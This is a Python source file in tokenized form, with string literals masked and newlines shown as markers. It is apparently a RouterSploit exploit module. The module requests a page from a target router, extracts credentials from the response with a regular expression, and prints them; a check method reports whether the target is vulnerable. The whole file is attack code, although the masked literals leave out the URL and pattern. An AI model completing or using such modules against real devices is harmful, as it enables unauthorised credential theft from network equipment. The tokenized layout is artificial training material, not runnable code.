<s> import re <EOL> from routersploit import ( <EOL> exploits , <EOL> sanitize_url , <EOL> print_error , <EOL> print_success , <EOL> print_table , <EOL> http_request , <EOL> mute , <EOL> ) <EOL> class Exploit ( exploits . Exploit ) : <EOL> """<STR_LIT>""" <EOL> __info__ = { <EOL> '<STR_LIT:name>' : '<STR_LIT>' , <EOL> '<STR_LIT:description>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : [ <EOL> '<STR_LIT>' , <EOL> '<STR_LIT>' , <EOL> ] , <EOL> '<STR_LIT>' : [ <EOL> '<STR_LIT>' <EOL> ] , <EOL> '<STR_LIT>' : [ <EOL> '<STR_LIT>' , <EOL> '<STR_LIT>' , <EOL> '<STR_LIT>' , <EOL> '<STR_LIT>' , <EOL> '<STR_LIT>' , <EOL> '<STR_LIT>' , <EOL> ] , <EOL> } <EOL> target = exploits . Option ( '<STR_LIT>' , '<STR_LIT>' ) <EOL> port = exploits . Option ( <NUM_LIT> , '<STR_LIT>' ) <EOL> def run ( self ) : <EOL> url = sanitize_url ( "<STR_LIT>" . format ( self . target , self . port ) ) <EOL> response = http_request ( method = "<STR_LIT:GET>" , url = url ) <EOL> if response is None : <EOL> return <EOL> creds = re . findall ( "<STR_LIT>" , response . text ) <EOL> if len ( creds ) : <EOL> c = [ ( "<STR_LIT>" , creds [ <NUM_LIT:0> ] ) ] <EOL> print_success ( "<STR_LIT>" ) <EOL> headers = ( "<STR_LIT>" , "<STR_LIT>" ) <EOL> print_table ( headers , * c ) <EOL> else : <EOL> print_error ( "<STR_LIT>" ) <EOL> @ mute <EOL> def check ( self ) : <EOL> url = sanitize_url ( "<STR_LIT>" . format ( self . target , self . port ) ) <EOL> response = http_request ( method = "<STR_LIT:GET>" , url = url ) <EOL> if response is None : <EOL> return False <EOL> creds = re . findall ( "<STR_LIT>" , response . text ) <EOL> if len ( creds ) : <EOL> return True <EOL> return False </s>
